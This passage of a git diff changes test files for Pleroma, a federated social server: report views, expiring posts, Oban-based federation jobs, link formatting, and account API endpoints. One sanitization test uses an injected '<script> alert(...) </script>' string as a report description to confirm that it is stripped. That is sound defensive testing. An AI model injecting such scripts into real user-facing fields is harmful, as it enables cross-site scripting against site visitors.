@ -34,7 +35,7 @@ defmodule Pleroma.Web.AdminAPI.ReportViewTest do
}
result =
ReportView.render("show.json", %{report: activity})
ReportView.render("show.json", Report.extract_report_info(activity))
|> Map.delete(:created_at)
assert result == expected
@ -52,21 +53,21 @@ defmodule Pleroma.Web.AdminAPI.ReportViewTest do
content: nil,
actor:
Map.merge(
AccountView.render("account.json", %{user: user}),
AccountView.render("show.json", %{user: user}),
Pleroma.Web.AdminAPI.AccountView.render("show.json", %{user: user})
),
account:
Map.merge(
AccountView.render("account.json", %{user: other_user}),
AccountView.render("show.json", %{user: other_user}),
Pleroma.Web.AdminAPI.AccountView.render("show.json", %{user: other_user})
),
statuses: [StatusView.render("status.json", %{activity: activity})],
statuses: [StatusView.render("show.json", %{activity: activity})],
state: "open",
id: report_activity.id
}
result =
ReportView.render("show.json", %{report: report_activity})
ReportView.render("show.json", Report.extract_report_info(report_activity))
|> Map.delete(:created_at)
assert result == expected
@ -78,7 +79,9 @@ defmodule Pleroma.Web.AdminAPI.ReportViewTest do
{:ok, activity} = CommonAPI.report(user, %{"account_id" => other_user.id})
{:ok, activity} = CommonAPI.update_report_state(activity.id, "closed")
assert %{state: "closed"} = ReportView.render("show.json", %{report: activity})
assert %{state: "closed"} =
ReportView.render("show.json", Report.extract_report_info(activity))
end
test "renders report description" do
@ -92,7 +95,7 @@ defmodule Pleroma.Web.AdminAPI.ReportViewTest do
})
assert %{content: "posts are too good for this instance"} =
ReportView.render("show.json", %{report: activity})
ReportView.render("show.json", Report.extract_report_info(activity))
end
test "sanitizes report description" do
@ -109,7 +112,7 @@ defmodule Pleroma.Web.AdminAPI.ReportViewTest do
activity = Map.put(activity, :data, data)
refute "<script> alert('hecked :D:D:D:D:D:D:D') </script>" ==
ReportView.render("show.json", %{report: activity})[:content]
ReportView.render("show.json", Report.extract_report_info(activity))[:content]
end
test "doesn't error out when the user doesn't exists" do
@ -125,6 +128,6 @@ defmodule Pleroma.Web.AdminAPI.ReportViewTest do
Pleroma.User.delete(other_user)
Pleroma.User.invalidate_cache(other_user)
assert %{} = ReportView.render("show.json", %{report: activity})
assert %{} = ReportView.render("show.json", Report.extract_report_info(activity))
end
end

View file

@ -204,6 +204,21 @@ defmodule Pleroma.Web.CommonAPITest do
assert {:error, "The status is over the character limit"} =
CommonAPI.post(user, %{"status" => "foobar"})
end
test "it can handle activities that expire" do
user = insert(:user)
expires_at =
NaiveDateTime.utc_now()
|> NaiveDateTime.truncate(:second)
|> NaiveDateTime.add(1_000_000, :second)
assert {:ok, activity} =
CommonAPI.post(user, %{"status" => "chai", "expires_in" => 1_000_000})
assert expiration = Pleroma.ActivityExpiration.get_by_activity_id(activity.id)
assert expiration.scheduled_at == expires_at
end
end
describe "reactions" do
@ -495,4 +510,43 @@ defmodule Pleroma.Web.CommonAPITest do
assert {:error, "Already voted"} == CommonAPI.vote(other_user, object, [1])
end
end
describe "listen/2" do
test "returns a valid activity" do
user = insert(:user)
{:ok, activity} =
CommonAPI.listen(user, %{
"title" => "lain radio episode 1",
"album" => "lain radio",
"artist" => "lain",
"length" => 180_000
})
object = Object.normalize(activity)
assert object.data["title"] == "lain radio episode 1"
assert Visibility.get_visibility(activity) == "public"
end
test "respects visibility=private" do
user = insert(:user)
{:ok, activity} =
CommonAPI.listen(user, %{
"title" => "lain radio episode 1",
"album" => "lain radio",
"artist" => "lain",
"length" => 180_000,
"visibility" => "private"
})
object = Object.normalize(activity)
assert object.data["title"] == "lain radio episode 1"
assert Visibility.get_visibility(activity) == "private"
end
end
end

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.CommonAPI.UtilsTest do
@ -157,11 +157,11 @@ defmodule Pleroma.Web.CommonAPI.UtilsTest do
text = "**hello world**\n\n*another @user__test and @user__test google.com paragraph*"
expected =
"<p><strong>hello world</strong></p>\n<p><em>another <span class=\"h-card\"><a data-user=\"#{
~s(<p><strong>hello world</strong></p>\n<p><em>another <span class="h-card"><a data-user="#{
user.id
}\" class=\"u-url mention\" href=\"http://foo.com/user__test\">@<span>user__test</span></a></span> and <span class=\"h-card\"><a data-user=\"#{
}" class="u-url mention" href="http://foo.com/user__test" rel="ugc">@<span>user__test</span></a></span> and <span class="h-card"><a data-user="#{
user.id
}\" class=\"u-url mention\" href=\"http://foo.com/user__test\">@<span>user__test</span></a></span> <a href=\"http://google.com\">google.com</a> paragraph</em></p>\n"
}" class="u-url mention" href="http://foo.com/user__test" rel="ugc">@<span>user__test</span></a></span> <a href="http://google.com" rel="ugc">google.com</a> paragraph</em></p>\n)
{output, _, _} = Utils.format_input(text, "text/markdown")

View file

@ -1,12 +1,17 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.FederatorTest do
alias Pleroma.Instances
alias Pleroma.Tests.ObanHelpers
alias Pleroma.Web.CommonAPI
alias Pleroma.Web.Federator
alias Pleroma.Workers.PublisherWorker
use Pleroma.DataCase
use Oban.Testing, repo: Pleroma.Repo
import Pleroma.Factory
import Mock
@ -24,15 +29,6 @@ defmodule Pleroma.Web.FederatorTest do
clear_config([:instance, :rewrite_policy])
clear_config([:mrf_keyword])
describe "Publisher.perform" do
test "call `perform` with unknown task" do
assert {
:error,
"Don't know what to do with this"
} = Pleroma.Web.Federator.Publisher.perform("test", :ok, :ok)
end
end
describe "Publish an activity" do
setup do
user = insert(:user)
@ -53,6 +49,7 @@ defmodule Pleroma.Web.FederatorTest do
} do
with_mocks([relay_mock]) do
Federator.publish(activity)
ObanHelpers.perform(all_enqueued(worker: PublisherWorker))
end
assert_received :relay_publish
@ -66,6 +63,7 @@ defmodule Pleroma.Web.FederatorTest do
with_mocks([relay_mock]) do
Federator.publish(activity)
ObanHelpers.perform(all_enqueued(worker: PublisherWorker))
end
refute_received :relay_publish
@ -73,10 +71,7 @@ defmodule Pleroma.Web.FederatorTest do
end
describe "Targets reachability filtering in `publish`" do
test_with_mock "it federates only to reachable instances via AP",
Pleroma.Web.ActivityPub.Publisher,
[:passthrough],
[] do
test "it federates only to reachable instances via AP" do
user = insert(:user)
{inbox1, inbox2} =
@ -104,20 +99,20 @@ defmodule Pleroma.Web.FederatorTest do
{:ok, _activity} =
CommonAPI.post(user, %{"status" => "HI @nick1@domain.com, @nick2@domain2.com!"})
assert called(
Pleroma.Web.ActivityPub.Publisher.publish_one(%{
inbox: inbox1,
unreachable_since: dt
})
)
expected_dt = NaiveDateTime.to_iso8601(dt)
refute called(Pleroma.Web.ActivityPub.Publisher.publish_one(%{inbox: inbox2}))
ObanHelpers.perform(all_enqueued(worker: PublisherWorker))
assert ObanHelpers.member?(
%{
"op" => "publish_one",
"params" => %{"inbox" => inbox1, "unreachable_since" => expected_dt}
},
all_enqueued(worker: PublisherWorker)
)
end
test_with_mock "it federates only to reachable instances via Websub",
Pleroma.Web.Websub,
[:passthrough],
[] do
test "it federates only to reachable instances via Websub" do
user = insert(:user)
websub_topic = Pleroma.Web.OStatus.feed_path(user)
@ -142,23 +137,27 @@ defmodule Pleroma.Web.FederatorTest do
{:ok, _activity} = CommonAPI.post(user, %{"status" => "HI"})
assert called(
Pleroma.Web.Websub.publish_one(%{
callback: sub2.callback,
unreachable_since: dt
})
)
expected_callback = sub2.callback
expected_dt = NaiveDateTime.to_iso8601(dt)
refute called(Pleroma.Web.Websub.publish_one(%{callback: sub1.callback}))
ObanHelpers.perform(all_enqueued(worker: PublisherWorker))
assert ObanHelpers.member?(
%{
"op" => "publish_one",
"params" => %{
"callback" => expected_callback,
"unreachable_since" => expected_dt
}
},
all_enqueued(worker: PublisherWorker)
)
end
test_with_mock "it federates only to reachable instances via Salmon",
Pleroma.Web.Salmon,
[:passthrough],
[] do
test "it federates only to reachable instances via Salmon" do
user = insert(:user)
remote_user1 =
_remote_user1 =
insert(:user, %{
local: false,
nickname: "nick1@domain.com",
@ -174,6 +173,8 @@ defmodule Pleroma.Web.FederatorTest do
info: %{salmon: "https://domain2.com/salmon"}
})
remote_user2_id = remote_user2.id
dt = NaiveDateTime.utc_now()
Instances.set_unreachable(remote_user2.ap_id, dt)
@ -182,14 +183,20 @@ defmodule Pleroma.Web.FederatorTest do
{:ok, _activity} =
CommonAPI.post(user, %{"status" => "HI @nick1@domain.com, @nick2@domain2.com!"})
assert called(
Pleroma.Web.Salmon.publish_one(%{
recipient: remote_user2,
unreachable_since: dt
})
)
expected_dt = NaiveDateTime.to_iso8601(dt)
refute called(Pleroma.Web.Salmon.publish_one(%{recipient: remote_user1}))
ObanHelpers.perform(all_enqueued(worker: PublisherWorker))
assert ObanHelpers.member?(
%{
"op" => "publish_one",
"params" => %{
"recipient_id" => remote_user2_id,
"unreachable_since" => expected_dt
}
},
all_enqueued(worker: PublisherWorker)
)
end
end
@ -209,7 +216,8 @@ defmodule Pleroma.Web.FederatorTest do
"to" => ["https://www.w3.org/ns/activitystreams#Public"]
}
{:ok, _activity} = Federator.incoming_ap_doc(params)
assert {:ok, job} = Federator.incoming_ap_doc(params)
assert {:ok, _activity} = ObanHelpers.perform(job)
end
test "rejects incoming AP docs with incorrect origin" do
@ -227,7 +235,8 @@ defmodule Pleroma.Web.FederatorTest do
"to" => ["https://www.w3.org/ns/activitystreams#Public"]
}
:error = Federator.incoming_ap_doc(params)
assert {:ok, job} = Federator.incoming_ap_doc(params)
assert :error = ObanHelpers.perform(job)
end
test "it does not crash if MRF rejects the post" do
@ -242,7 +251,8 @@ defmodule Pleroma.Web.FederatorTest do
File.read!("test/fixtures/mastodon-post-activity.json")
|> Poison.decode!()
assert Federator.incoming_ap_doc(params) == :error
assert {:ok, job} = Federator.incoming_ap_doc(params)
assert :error = ObanHelpers.perform(job)
end
end
end

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Instances.InstanceTest do
@ -16,7 +16,8 @@ defmodule Pleroma.Instances.InstanceTest do
describe "set_reachable/1" do
test "clears `unreachable_since` of existing matching Instance record having non-nil `unreachable_since`" do
instance = insert(:instance, unreachable_since: NaiveDateTime.utc_now())
unreachable_since = NaiveDateTime.to_iso8601(NaiveDateTime.utc_now())
instance = insert(:instance, unreachable_since: unreachable_since)
assert {:ok, instance} = Instance.set_reachable(instance.host)
refute instance.unreachable_since

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.InstancesTest do

View file

@ -86,10 +86,9 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController.UpdateCredentialsTest do
assert user = json_response(conn, 200)
assert user["note"] ==
~s(I drink <a class="hashtag" data-tag="cofe" href="http://localhost:4001/tag/cofe" rel="tag">#cofe</a> with <span class="h-card"><a data-user=") <>
user2.id <>
~s(" class="u-url mention" href=") <>
user2.ap_id <> ~s(">@<span>) <> user2.nickname <> ~s(</span></a></span>)
~s(I drink <a class="hashtag" data-tag="cofe" href="http://localhost:4001/tag/cofe">#cofe</a> with <span class="h-card"><a data-user="#{
user2.id
}" class="u-url mention" href="#{user2.ap_id}" rel="ugc">@<span>#{user2.nickname}</span></a></span>)
end
test "updates the user's locking status", %{conn: conn} do
@ -128,6 +127,22 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController.UpdateCredentialsTest do
assert user["pleroma"]["hide_followers"] == true
end
test "updates the user's hide_followers_count and hide_follows_count", %{conn: conn} do
user = insert(:user)
conn =
conn
|> assign(:user, user)
|> patch("/api/v1/accounts/update_credentials", %{
hide_followers_count: "true",
hide_follows_count: "true"
})
assert user = json_response(conn, 200)
assert user["pleroma"]["hide_followers_count"] == true
assert user["pleroma"]["hide_follows_count"] == true
end
test "updates the user's skip_thread_containment option", %{conn: conn} do
user = insert(:user)
@ -318,7 +333,7 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController.UpdateCredentialsTest do
assert account["fields"] == [
%{"name" => "foo", "value" => "bar"},
%{"name" => "link", "value" => "<a href=\"http://cofe.io\">cofe.io</a>"}
%{"name" => "link", "value" => ~S(<a href="http://cofe.io" rel="ugc">cofe.io</a>)}
]
assert account["source"]["fields"] == [

View file

@ -0,0 +1,852 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.MastodonAPI.AccountControllerTest do
use Pleroma.Web.ConnCase
alias Pleroma.Repo
alias Pleroma.User
alias Pleroma.Web.ActivityPub.ActivityPub
alias Pleroma.Web.CommonAPI
alias Pleroma.Web.OAuth.Token
import Pleroma.Factory
describe "account fetching" do
test "works by id" do
user = insert(:user)
conn =
build_conn()
|> get("/api/v1/accounts/#{user.id}")
assert %{"id" => id} = json_response(conn, 200)
assert id == to_string(user.id)
conn =
build_conn()
|> get("/api/v1/accounts/-1")
assert %{"error" => "Can't find user"} = json_response(conn, 404)
end
test "works by nickname" do
user = insert(:user)
conn =
build_conn()
|> get("/api/v1/accounts/#{user.nickname}")
assert %{"id" => id} = json_response(conn, 200)
assert id == user.id
end
test "works by nickname for remote users" do
limit_to_local = Pleroma.Config.get([:instance, :limit_to_local_content])
Pleroma.Config.put([:instance, :limit_to_local_content], false)
user = insert(:user, nickname: "user@example.com", local: false)
conn =
build_conn()
|> get("/api/v1/accounts/#{user.nickname}")
Pleroma.Config.put([:instance, :limit_to_local_content], limit_to_local)
assert %{"id" => id} = json_response(conn, 200)
assert id == user.id
end
test "respects limit_to_local_content == :all for remote user nicknames" do
limit_to_local = Pleroma.Config.get([:instance, :limit_to_local_content])
Pleroma.Config.put([:instance, :limit_to_local_content], :all)
user = insert(:user, nickname: "user@example.com", local: false)
conn =
build_conn()
|> get("/api/v1/accounts/#{user.nickname}")
Pleroma.Config.put([:instance, :limit_to_local_content], limit_to_local)
assert json_response(conn, 404)
end
test "respects limit_to_local_content == :unauthenticated for remote user nicknames" do
limit_to_local = Pleroma.Config.get([:instance, :limit_to_local_content])
Pleroma.Config.put([:instance, :limit_to_local_content], :unauthenticated)
user = insert(:user, nickname: "user@example.com", local: false)
reading_user = insert(:user)
conn =
build_conn()
|> get("/api/v1/accounts/#{user.nickname}")
assert json_response(conn, 404)
conn =
build_conn()
|> assign(:user, reading_user)
|> get("/api/v1/accounts/#{user.nickname}")
Pleroma.Config.put([:instance, :limit_to_local_content], limit_to_local)
assert %{"id" => id} = json_response(conn, 200)
assert id == user.id
end
test "accounts fetches correct account for nicknames beginning with numbers", %{conn: conn} do
# Need to set an old-style integer ID to reproduce the problem
# (these are no longer assigned to new accounts but were preserved
# for existing accounts during the migration to flakeIDs)
user_one = insert(:user, %{id: 1212})
user_two = insert(:user, %{nickname: "#{user_one.id}garbage"})
resp_one =
conn
|> get("/api/v1/accounts/#{user_one.id}")
resp_two =
conn
|> get("/api/v1/accounts/#{user_two.nickname}")
resp_three =
conn
|> get("/api/v1/accounts/#{user_two.id}")
acc_one = json_response(resp_one, 200)
acc_two = json_response(resp_two, 200)
acc_three = json_response(resp_three, 200)
refute acc_one == acc_two
assert acc_two == acc_three
end
end
describe "user timelines" do
test "gets a users statuses", %{conn: conn} do
user_one = insert(:user)
user_two = insert(:user)
user_three = insert(:user)
{:ok, user_three} = User.follow(user_three, user_one)
{:ok, activity} = CommonAPI.post(user_one, %{"status" => "HI!!!"})
{:ok, direct_activity} =
CommonAPI.post(user_one, %{
"status" => "Hi, @#{user_two.nickname}.",
"visibility" => "direct"
})
{:ok, private_activity} =
CommonAPI.post(user_one, %{"status" => "private", "visibility" => "private"})
resp =
conn
|> get("/api/v1/accounts/#{user_one.id}/statuses")
assert [%{"id" => id}] = json_response(resp, 200)
assert id == to_string(activity.id)
resp =
conn
|> assign(:user, user_two)
|> get("/api/v1/accounts/#{user_one.id}/statuses")
assert [%{"id" => id_one}, %{"id" => id_two}] = json_response(resp, 200)
assert id_one == to_string(direct_activity.id)
assert id_two == to_string(activity.id)
resp =
conn
|> assign(:user, user_three)
|> get("/api/v1/accounts/#{user_one.id}/statuses")
assert [%{"id" => id_one}, %{"id" => id_two}] = json_response(resp, 200)
assert id_one == to_string(private_activity.id)
assert id_two == to_string(activity.id)
end
test "unimplemented pinned statuses feature", %{conn: conn} do
note = insert(:note_activity)
user = User.get_cached_by_ap_id(note.data["actor"])
conn =
conn
|> get("/api/v1/accounts/#{user.id}/statuses?pinned=true")
assert json_response(conn, 200) == []
end
test "gets an users media", %{conn: conn} do
note = insert(:note_activity)
user = User.get_cached_by_ap_id(note.data["actor"])
file = %Plug.Upload{
content_type: "image/jpg",
path: Path.absname("test/fixtures/image.jpg"),
filename: "an_image.jpg"
}
{:ok, %{id: media_id}} = ActivityPub.upload(file, actor: user.ap_id)
{:ok, image_post} = CommonAPI.post(user, %{"status" => "cofe", "media_ids" => [media_id]})
conn =
conn
|> get("/api/v1/accounts/#{user.id}/statuses", %{"only_media" => "true"})
assert [%{"id" => id}] = json_response(conn, 200)
assert id == to_string(image_post.id)
conn =
build_conn()
|> get("/api/v1/accounts/#{user.id}/statuses", %{"only_media" => "1"})
assert [%{"id" => id}] = json_response(conn, 200)
assert id == to_string(image_post.id)
end
test "gets a user's statuses without reblogs", %{conn: conn} do
user = insert(:user)
{:ok, post} = CommonAPI.post(user, %{"status" => "HI!!!"})
{:ok, _, _} = CommonAPI.repeat(post.id, user)
conn =
conn
|> get("/api/v1/accounts/#{user.id}/statuses", %{"exclude_reblogs" => "true"})
assert [%{"id" => id}] = json_response(conn, 200)
assert id == to_string(post.id)
conn =
conn
|> get("/api/v1/accounts/#{user.id}/statuses", %{"exclude_reblogs" => "1"})
assert [%{"id" => id}] = json_response(conn, 200)
assert id == to_string(post.id)
end
test "filters user's statuses by a hashtag", %{conn: conn} do
user = insert(:user)
{:ok, post} = CommonAPI.post(user, %{"status" => "#hashtag"})
{:ok, _post} = CommonAPI.post(user, %{"status" => "hashtag"})
conn =
conn
|> get("/api/v1/accounts/#{user.id}/statuses", %{"tagged" => "hashtag"})
assert [%{"id" => id}] = json_response(conn, 200)
assert id == to_string(post.id)
end
end
describe "followers" do
test "getting followers", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
{:ok, user} = User.follow(user, other_user)
conn =
conn
|> get("/api/v1/accounts/#{other_user.id}/followers")
assert [%{"id" => id}] = json_response(conn, 200)
assert id == to_string(user.id)
end
test "getting followers, hide_followers", %{conn: conn} do
user = insert(:user)
other_user = insert(:user, %{info: %{hide_followers: true}})
{:ok, _user} = User.follow(user, other_user)
conn =
conn
|> get("/api/v1/accounts/#{other_user.id}/followers")
assert [] == json_response(conn, 200)
end
test "getting followers, hide_followers, same user requesting", %{conn: conn} do
user = insert(:user)
other_user = insert(:user, %{info: %{hide_followers: true}})
{:ok, _user} = User.follow(user, other_user)
conn =
conn
|> assign(:user, other_user)
|> get("/api/v1/accounts/#{other_user.id}/followers")
refute [] == json_response(conn, 200)
end
test "getting followers, pagination", %{conn: conn} do
user = insert(:user)
follower1 = insert(:user)
follower2 = insert(:user)
follower3 = insert(:user)
{:ok, _} = User.follow(follower1, user)
{:ok, _} = User.follow(follower2, user)
{:ok, _} = User.follow(follower3, user)
conn =
conn
|> assign(:user, user)
res_conn =
conn
|> get("/api/v1/accounts/#{user.id}/followers?since_id=#{follower1.id}")
assert [%{"id" => id3}, %{"id" => id2}] = json_response(res_conn, 200)
assert id3 == follower3.id
assert id2 == follower2.id
res_conn =
conn
|> get("/api/v1/accounts/#{user.id}/followers?max_id=#{follower3.id}")
assert [%{"id" => id2}, %{"id" => id1}] = json_response(res_conn, 200)
assert id2 == follower2.id
assert id1 == follower1.id
res_conn =
conn
|> get("/api/v1/accounts/#{user.id}/followers?limit=1&max_id=#{follower3.id}")
assert [%{"id" => id2}] = json_response(res_conn, 200)
assert id2 == follower2.id
assert [link_header] = get_resp_header(res_conn, "link")
assert link_header =~ ~r/min_id=#{follower2.id}/
assert link_header =~ ~r/max_id=#{follower2.id}/
end
end
describe "following" do
test "getting following", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
{:ok, user} = User.follow(user, other_user)
conn =
conn
|> get("/api/v1/accounts/#{user.id}/following")
assert [%{"id" => id}] = json_response(conn, 200)
assert id == to_string(other_user.id)
end
test "getting following, hide_follows", %{conn: conn} do
user = insert(:user, %{info: %{hide_follows: true}})
other_user = insert(:user)
{:ok, user} = User.follow(user, other_user)
conn =
conn
|> get("/api/v1/accounts/#{user.id}/following")
assert [] == json_response(conn, 200)
end
test "getting following, hide_follows, same user requesting", %{conn: conn} do
user = insert(:user, %{info: %{hide_follows: true}})
other_user = insert(:user)
{:ok, user} = User.follow(user, other_user)
conn =
conn
|> assign(:user, user)
|> get("/api/v1/accounts/#{user.id}/following")
refute [] == json_response(conn, 200)
end
test "getting following, pagination", %{conn: conn} do
user = insert(:user)
following1 = insert(:user)
following2 = insert(:user)
following3 = insert(:user)
{:ok, _} = User.follow(user, following1)
{:ok, _} = User.follow(user, following2)
{:ok, _} = User.follow(user, following3)
conn =
conn
|> assign(:user, user)
res_conn =
conn
|> get("/api/v1/accounts/#{user.id}/following?since_id=#{following1.id}")
assert [%{"id" => id3}, %{"id" => id2}] = json_response(res_conn, 200)
assert id3 == following3.id
assert id2 == following2.id
res_conn =
conn
|> get("/api/v1/accounts/#{user.id}/following?max_id=#{following3.id}")
assert [%{"id" => id2}, %{"id" => id1}] = json_response(res_conn, 200)
assert id2 == following2.id
assert id1 == following1.id
res_conn =
conn
|> get("/api/v1/accounts/#{user.id}/following?limit=1&max_id=#{following3.id}")
assert [%{"id" => id2}] = json_response(res_conn, 200)
assert id2 == following2.id
assert [link_header] = get_resp_header(res_conn, "link")
assert link_header =~ ~r/min_id=#{following2.id}/
assert link_header =~ ~r/max_id=#{following2.id}/
end
end
describe "follow/unfollow" do
test "following / unfollowing a user", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
conn =
conn
|> assign(:user, user)
|> post("/api/v1/accounts/#{other_user.id}/follow")
assert %{"id" => _id, "following" => true} = json_response(conn, 200)
user = User.get_cached_by_id(user.id)
conn =
build_conn()
|> assign(:user, user)
|> post("/api/v1/accounts/#{other_user.id}/unfollow")
assert %{"id" => _id, "following" => false} = json_response(conn, 200)
user = User.get_cached_by_id(user.id)
conn =
build_conn()
|> assign(:user, user)
|> post("/api/v1/follows", %{"uri" => other_user.nickname})
assert %{"id" => id} = json_response(conn, 200)
assert id == to_string(other_user.id)
end
test "following without reblogs" do
follower = insert(:user)
followed = insert(:user)
other_user = insert(:user)
conn =
build_conn()
|> assign(:user, follower)
|> post("/api/v1/accounts/#{followed.id}/follow?reblogs=false")
assert %{"showing_reblogs" => false} = json_response(conn, 200)
{:ok, activity} = CommonAPI.post(other_user, %{"status" => "hey"})
{:ok, reblog, _} = CommonAPI.repeat(activity.id, followed)
conn =
build_conn()
|> assign(:user, User.get_cached_by_id(follower.id))
|> get("/api/v1/timelines/home")
assert [] == json_response(conn, 200)
conn =
build_conn()
|> assign(:user, follower)
|> post("/api/v1/accounts/#{followed.id}/follow?reblogs=true")
assert %{"showing_reblogs" => true} = json_response(conn, 200)
conn =
build_conn()
|> assign(:user, User.get_cached_by_id(follower.id))
|> get("/api/v1/timelines/home")
expected_activity_id = reblog.id
assert [%{"id" => ^expected_activity_id}] = json_response(conn, 200)
end
test "following / unfollowing errors" do
user = insert(:user)
conn =
build_conn()
|> assign(:user, user)
# self follow
conn_res = post(conn, "/api/v1/accounts/#{user.id}/follow")
assert %{"error" => "Record not found"} = json_response(conn_res, 404)
# self unfollow
user = User.get_cached_by_id(user.id)
conn_res = post(conn, "/api/v1/accounts/#{user.id}/unfollow")
assert %{"error" => "Record not found"} = json_response(conn_res, 404)
# self follow via uri
user = User.get_cached_by_id(user.id)
conn_res = post(conn, "/api/v1/follows", %{"uri" => user.nickname})
assert %{"error" => "Record not found"} = json_response(conn_res, 404)
# follow non existing user
conn_res = post(conn, "/api/v1/accounts/doesntexist/follow")
assert %{"error" => "Record not found"} = json_response(conn_res, 404)
# follow non existing user via uri
conn_res = post(conn, "/api/v1/follows", %{"uri" => "doesntexist"})
assert %{"error" => "Record not found"} = json_response(conn_res, 404)
# unfollow non existing user
conn_res = post(conn, "/api/v1/accounts/doesntexist/unfollow")
assert %{"error" => "Record not found"} = json_response(conn_res, 404)
end
end
describe "mute/unmute" do
test "with notifications", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
conn =
conn
|> assign(:user, user)
|> post("/api/v1/accounts/#{other_user.id}/mute")
response = json_response(conn, 200)
assert %{"id" => _id, "muting" => true, "muting_notifications" => true} = response
user = User.get_cached_by_id(user.id)
conn =
build_conn()
|> assign(:user, user)
|> post("/api/v1/accounts/#{other_user.id}/unmute")
response = json_response(conn, 200)
assert %{"id" => _id, "muting" => false, "muting_notifications" => false} = response
end
test "without notifications", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
conn =
conn
|> assign(:user, user)
|> post("/api/v1/accounts/#{other_user.id}/mute", %{"notifications" => "false"})
response = json_response(conn, 200)
assert %{"id" => _id, "muting" => true, "muting_notifications" => false} = response
user = User.get_cached_by_id(user.id)
conn =
build_conn()
|> assign(:user, user)
|> post("/api/v1/accounts/#{other_user.id}/unmute")
response = json_response(conn, 200)
assert %{"id" => _id, "muting" => false, "muting_notifications" => false} = response
end
end
describe "pinned statuses" do
setup do
user = insert(:user)
{:ok, activity} = CommonAPI.post(user, %{"status" => "HI!!!"})
[user: user, activity: activity]
end
test "returns pinned statuses", %{conn: conn, user: user, activity: activity} do
{:ok, _} = CommonAPI.pin(activity.id, user)
result =
conn
|> assign(:user, user)
|> get("/api/v1/accounts/#{user.id}/statuses?pinned=true")
|> json_response(200)
id_str = to_string(activity.id)
assert [%{"id" => ^id_str, "pinned" => true}] = result
end
end
test "blocking / unblocking a user", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
conn =
conn
|> assign(:user, user)
|> post("/api/v1/accounts/#{other_user.id}/block")
assert %{"id" => _id, "blocking" => true} = json_response(conn, 200)
user = User.get_cached_by_id(user.id)
conn =
build_conn()
|> assign(:user, user)
|> post("/api/v1/accounts/#{other_user.id}/unblock")
assert %{"id" => _id, "blocking" => false} = json_response(conn, 200)
end
describe "create account by app" do
setup do
valid_params = %{
username: "lain",
email: "lain@example.org",
password: "PlzDontHackLain",
agreement: true
}
[valid_params: valid_params]
end
test "Account registration via Application", %{conn: conn} do
conn =
conn
|> post("/api/v1/apps", %{
client_name: "client_name",
redirect_uris: "urn:ietf:wg:oauth:2.0:oob",
scopes: "read, write, follow"
})
%{
"client_id" => client_id,
"client_secret" => client_secret,
"id" => _,
"name" => "client_name",
"redirect_uri" => "urn:ietf:wg:oauth:2.0:oob",
"vapid_key" => _,
"website" => nil
} = json_response(conn, 200)
conn =
conn
|> post("/oauth/token", %{
grant_type: "client_credentials",
client_id: client_id,
client_secret: client_secret
})
assert %{"access_token" => token, "refresh_token" => refresh, "scope" => scope} =
json_response(conn, 200)
assert token
token_from_db = Repo.get_by(Token, token: token)
assert token_from_db
assert refresh
assert scope == "read write follow"
conn =
build_conn()
|> put_req_header("authorization", "Bearer " <> token)
|> post("/api/v1/accounts", %{
username: "lain",
email: "lain@example.org",
password: "PlzDontHackLain",
bio: "Test Bio",
agreement: true
})
%{
"access_token" => token,
"created_at" => _created_at,
"scope" => _scope,
"token_type" => "Bearer"
} = json_response(conn, 200)
token_from_db = Repo.get_by(Token, token: token)
assert token_from_db
token_from_db = Repo.preload(token_from_db, :user)
assert token_from_db.user
assert token_from_db.user.info.confirmation_pending
end
test "returns error when user already registred", %{conn: conn, valid_params: valid_params} do
_user = insert(:user, email: "lain@example.org")
app_token = insert(:oauth_token, user: nil)
conn =
conn
|> put_req_header("authorization", "Bearer " <> app_token.token)
res = post(conn, "/api/v1/accounts", valid_params)
assert json_response(res, 400) == %{"error" => "{\"email\":[\"has already been taken\"]}"}
end
test "rate limit", %{conn: conn} do
app_token = insert(:oauth_token, user: nil)
conn =
put_req_header(conn, "authorization", "Bearer " <> app_token.token)
|> Map.put(:remote_ip, {15, 15, 15, 15})
for i <- 1..5 do
conn =
conn
|> post("/api/v1/accounts", %{
username: "#{i}lain",
email: "#{i}lain@example.org",
password: "PlzDontHackLain",
agreement: true
})
%{
"access_token" => token,
"created_at" => _created_at,
"scope" => _scope,
"token_type" => "Bearer"
} = json_response(conn, 200)
token_from_db = Repo.get_by(Token, token: token)
assert token_from_db
token_from_db = Repo.preload(token_from_db, :user)
assert token_from_db.user
assert token_from_db.user.info.confirmation_pending
end
conn =
conn
|> post("/api/v1/accounts", %{
username: "6lain",
email: "6lain@example.org",
password: "PlzDontHackLain",
agreement: true
})
assert json_response(conn, :too_many_requests) == %{"error" => "Throttled"}
end
test "returns bad_request if missing required params", %{
conn: conn,
valid_params: valid_params
} do
app_token = insert(:oauth_token, user: nil)
conn =
conn
|> put_req_header("authorization", "Bearer " <> app_token.token)
res = post(conn, "/api/v1/accounts", valid_params)
assert json_response(res, 200)
[{127, 0, 0, 1}, {127, 0, 0, 2}, {127, 0, 0, 3}, {127, 0, 0, 4}]
